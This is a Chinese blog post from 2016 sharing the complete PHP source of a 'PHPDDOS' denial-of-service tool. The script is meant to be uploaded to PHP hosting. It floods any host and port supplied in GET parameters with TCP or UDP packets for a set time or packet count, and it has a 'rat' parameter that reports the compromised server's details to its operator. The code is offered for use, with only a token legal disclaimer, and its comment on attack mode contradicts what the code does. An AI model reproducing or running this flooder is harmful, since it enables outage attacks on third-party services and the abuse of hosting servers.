• 欢迎访问爱玩吧
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏爱玩吧

【php】PHPDDOS终极版核心源码介绍

建站资源 aiwanyule 6年前 (2016-05-09) 970次浏览 已收录 0个评论

【php】PHPDDOS终极版核心源码介绍

今天给大家介绍个PHPDDOS源码,这个源代码可以在PHP空间上使用(asp等空间不行哦),若是用不了可能是函数不对。

更新内容:

支持发送自定义数据包

增加发包大小设置(0 为使用自定义数据包)

攻击模式选择(0为TCP 1为UDP)

增加了发包次数设置(更好的控制攻击时间)

CC攻击可以选择TCP模式然后构造自定义数据包提交

获取服务器信息 返回格式 [标识]函数状态|主机名|脚本名|服务器信息|结译引擎[标识]

代码带有详细注释 大家可以随意修改

注意:

请使用者必须在中国法律容许范围内使用本代码,

如超出中国法律容许范围使用本代码造成的后果由使用者承担!

<?php
error_reporting(0);//禁用错误报告
set_time_limit(0);//配置该页最久执行时间。  0为永久执行
ignore_user_abort(false); //设置与客户机断开是否会终止脚本的执行。
 
/*get参数*/
$type = $_GET['type']; //攻击方式 0为TCP 1为UDP
$host = $_GET['host'];  //攻击目标
$port = $_GET['port'];  //攻击端口
$exec_time = $_GET['time'];  //持续时间
$Sendlen = $_GET['size'];   //发送数据长度  如果为0则使用自定义数据包
$data =  $_GET['data']; //自定义数据包 最大为1024KB 格式为URL编码
$data = urldecode($data); //URL解码后的字符串
$count = $_GET['count']; //限制发包次数   0为不限制然后只能通过时间控制
/*end*/
 
if (function_exists('fsockopen')){$test="1";}else{$test="0";}//fsockopen是否能用
 
//检测服务器信息 返回格式 [标识符]函数状态|主机名|脚本名|服务器信息|结译引擎[标识符]  
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
       if (StrLen($_GET['rat'])<>0){
           echo $_GET['rat'].$test."|".$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER
 
['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
           exit;
           }
   echo "error";
   exit;
   }
 
$byte = 0;//记录发包次数
$max_time = time()+$exec_time;//设置结束时间
 
if($Sendlen!=0){
   for($i=0;$i<$Sendlen;$i++){$out .= "X";}//构造指定长度数据包
}else{
   $out = $data;  //设置为自定义数据包
}
 
//死循环发送数据
while(1){
   if(time() > $max_time){break;}//时间到了就跳出循环        
     
   //判断攻击方式
   if($type==1) {    
       $fp = fsockopen("tcp://$host", $port, $errno, $errstr, 5);//打开TCP连接
   } else {    
       $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);//打开UDP连接
   }
       if($fp){            //如果连接成功
           fwrite($fp, $out);  //发送数据
           fclose($fp);  //关闭连接
   }
     
   $byte++;//发包次数加1
     
   if((int)$count!=0){
       if($byte > (int)$count){break;}//发包次数大于设置的就跳出循环
   }    
}
?>


爱玩吧 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:【php】PHPDDOS终极版核心源码介绍
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址